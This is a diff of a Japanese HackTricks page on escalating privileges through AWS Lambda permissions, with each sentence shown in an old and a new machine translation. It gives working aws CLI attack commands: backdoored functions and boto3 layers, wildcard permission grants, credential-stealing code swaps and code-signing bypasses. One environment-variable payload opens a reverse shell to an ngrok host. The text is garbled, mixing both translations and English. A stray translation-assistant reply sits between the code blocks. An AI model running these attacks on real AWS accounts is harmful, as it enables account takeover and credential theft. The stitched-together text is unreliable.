`iam:PassRole`、`lambda:CreateFunction`、`lambda:CreateEventSourceMapping` の権限(場合によっては `dynamodb:PutItem` や `dynamodb:CreateTable` も)があるユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます。\
|
||||
彼らは悪意あるコードを含む **Lambda function を作成し、既存の IAM role を割り当てる** ことができます。
|
||||
|
||||
ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガー** され、渡されたIAMロールの権限でコードが実行されます。
|
||||
Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを作成または利用し、それを event source mapping を通じて Lambda にリンクします。この構成により、テーブルに新しいアイテムが追加されると(ユーザーの操作または別のプロセスによって)、Lambda function が **テーブルへの新しいアイテム登録時に自動でトリガーされる** ようになり、結果として Lambda function が間接的に呼び出され、渡された IAM role の権限でコードが実行されます。
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーはLambda関数のために**イベントソースマッピングを設定する必要があります**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**:
|
||||
もしDynamoDBが既にAWS環境で有効になっている場合、ユーザーはLambda関数のために**イベントソースマッピングを設定するだけでよい**。しかし、DynamoDBが利用されていない場合は、ストリーミングを有効にした**新しいテーブルを作成する必要があります**:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**:
|
||||
これで、**Lambda function を DynamoDB table に接続する** には、**event source mapping を作成する** ことで可能です:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
DynamoDBストリームにリンクされたLambda関数を使用すると、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは**DynamoDBテーブルにアイテムを挿入することによって**実現できます:
|
||||
Lambda functionがDynamoDB streamにリンクされている場合、攻撃者はDynamoDB streamを作動させることで**間接的にLambdaをトリガーすることができます**。これはDynamoDBテーブルに**アイテムを挿入する**ことで実行できます:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**潜在的な影響:** 指定されたlambdaサービスロールへの直接的な権限昇格。
|
||||
**Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
この権限を持つ攻撃者は**自分自身(または他の人)に任意の権限を付与することができます**(これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成します):
|
||||
この権限を持つ攻撃者は **自分自身(または他者)に任意の権限を付与できる**(これはリソースへのアクセスを付与するためのリソースベースポリシーを生成する):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**潜在的な影響:** コードを変更して実行する権限を付与することによって、使用されるlambdaサービスロールへの直接的な権限昇格。
|
||||
**潜在的な影響:** コードの変更と実行を許可する権限を付与することで、lambda のサービスロールに対する直接的な privesc を行える。
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
この権限を持つ攻撃者は**自分自身(または他の人)に`lambda:GetLayerVersion`の権限を付与することができます**。彼はレイヤーにアクセスし、脆弱性や機密情報を探すことができます。
|
||||
この権限を持つ攻撃者は、**自分(または他者)に `lambda:GetLayerVersion` 権限を付与できる**。レイヤーにアクセスして脆弱性や機密情報を探すことが可能だ。
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**潜在的影響:** 機密情報へのアクセスの可能性。
|
||||
**Potential Impact:** 機密情報への潜在的なアクセス。
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。**\
|
||||
攻撃者は**IAM資格情報を外部に流出させるためにlambdaのコードを変更することができます。**
|
||||
ユーザーが **`lambda:UpdateFunctionCode`** 権限を持っていると、IAM ロールに紐づいた既存の Lambda 関数のコードを**変更できる可能性があります。**\
|
||||
攻撃者は **Lambda のコードを変更して IAM 資格情報を窃取(exfiltrate)するように仕組むことができます。**
|
||||
|
||||
攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。
|
||||
攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在して稼働しているなら、既存のワークフローやイベントによってトリガーされる可能性が高く、その結果変更したコードが間接的に実行されることがあります。
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。
|
||||
**Potential Impact:** 使用されている lambda service role への直接 privesc
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### 環境変数を介したRCE
|
||||
#### RCE via env variables
|
||||
|
||||
この権限を持つことで、Lambdaが任意のコードを実行する環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます:
|
||||
この権限があれば、環境変数を追加して Lambda が任意のコードを実行するようにできます。例えば python では環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることが可能です:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください。
|
||||
他のスクリプト言語では、使用できる別の環境変数があります。詳細は、次のスクリプト言語の小節を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### Lambdaレイヤーを介したRCE
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) を使うと、lamdba 関数に **code** を含めることができますが、**別に格納する** ことで関数の **code** を小さく保て、**複数の関数でcodeを共有できる** ようになります。
|
||||
|
||||
ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。
|
||||
lambda 内では、次のような関数で python code が読み込まれるパスを確認できます:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
これらの場所です:
|
||||
これらが対象のパスです:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -198,61 +198,126 @@ print(json.dumps(sys.path, indent=2))
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
例えば、ライブラリboto3は`/var/runtime/boto3`(4番目の位置)から読み込まれます。
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
|
||||
#### 悪用
|
||||
#### Exploitation
|
||||
|
||||
`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するためには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。
|
||||
権限 `lambda:UpdateFunctionConfiguration` を悪用して、lambda 関数に **新しい layer を追加** することが可能です。任意のコードを実行するためには、この layer に lambda が import するような **ライブラリ** を含める必要があります。lambda のコードを読めるなら容易に見つけられます。また、lambda が **すでに layer を使用している** 可能性があり、その layer を **ダウンロード** してそこに **コードを追加** できることもあります。
|
||||
|
||||
例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します:
|
||||
例えば、lambda がライブラリ boto3 を使用していると仮定すると、これはそのライブラリの最新バージョンを含むローカル layer を作成します:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します(例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など)。
|
||||
`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードに backdoor を追加**できます(例: credentials を exfiltrate する関数や reverse shell を得る関数)。
|
||||
|
||||
次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウントにアップロードします(または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません)。\
|
||||
python フォルダを作成し、ライブラリをそこに置いて /opt/python/boto3 を上書きする必要があることに注意してください。また、レイヤーはラムダで使用されている**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。
|
||||
その後、`./lambda_layer` ディレクトリを zip にし、**新しい lambda layer を upload**して自分のアカウント(または被害者のアカウント、ただし権限がない可能性があります)に配置します。\
|
||||
注意: /opt/python/boto3 を override するために python フォルダを作成してライブラリをそこに置く必要があります。 また、layer は lambda が使用する **compatible with the python version** である必要があり、もし自分のアカウントに upload する場合は **same region:** に配置する必要があります:
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
今、アップロードしたlambdaレイヤーを**すべてのアカウントからアクセス可能に**します:
|
||||
次に、アップロードした lambda layer を**任意のアカウントからでもアクセス可能に**します:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
被害者のlambda関数にlambdaレイヤーを添付します:
|
||||
そして、lambda layer を victim lambda function にアタッチする:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。後者がより安全な方法です。
|
||||
次のステップは、可能であれば自分で **invoke the function** するか、通常の手段で **it gets invoked** されるのを待つことになります — 後者の方が安全な方法です。
|
||||
|
||||
**この脆弱性を利用するよりステルスな方法**は以下にあります:
|
||||
A **more stealth way to exploit this vulnerability** can be found in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。
|
||||
**Potential Impact:** 直接的な privesc が使用されている lambda service role に対して行われます。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法が見つからなかったので、もし見つけたら教えてください!
|
||||
おそらくこれらの権限があれば function を作成し、URL を呼び出して実行できるかもしれません…しかし私の方ではテスト方法を見つけられなかったので、見つけたら教えてください!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
いくつかのlambdaは、**ユーザーからのパラメータで機密情報を受け取る**ことになります。もしそのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください:
|
||||
一部の lambdas はパラメータでユーザから機密情報を **receiving sensitive info from the users in parameters.** もしそのうちの1つで RCE を得られれば、他のユーザがそこに送っている情報を exfiltrate できます。詳しくは次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
|
||||
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notes:
|
||||
- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
|
||||
|
||||
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
Prepare a small payload:
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
def lambda_handler(event, context):
|
||||
return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
パス A) CSC を削除してからコードを更新:
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
|
||||
fi
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
パス B) Warn にダウングレードしてコードを更新する (delete が許可されていない場合):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
|
||||
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
|
||||
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
確認しました。以下のルールで翻訳を行います。
|
||||
|
||||
- コード、ハッキング技術名、一般的なハッキング用語、クラウド/SaaSプラットフォーム名(例: Workspace、aws、gcp 等)、単語 "leak"、pentesting、リンク、Markdown/HTML タグ、ファイルパスは翻訳しません。
|
||||
- {#ref} や {#include} 等のタグやリンク、パスはそのまま残します。
|
||||
- 翻訳に余分な内容は追加しません。
|
||||
|
||||
続けて翻訳するファイルの内容を送ってください。
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
潜在的な影響: サイン済みデプロイを強制するはずの関数に対して、任意の署名されていないコードをプッシュおよび実行できる可能性があり、結果として関数ロールの権限でコードが実行される可能性があります。
|
||||
|
||||
クリーンアップ:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user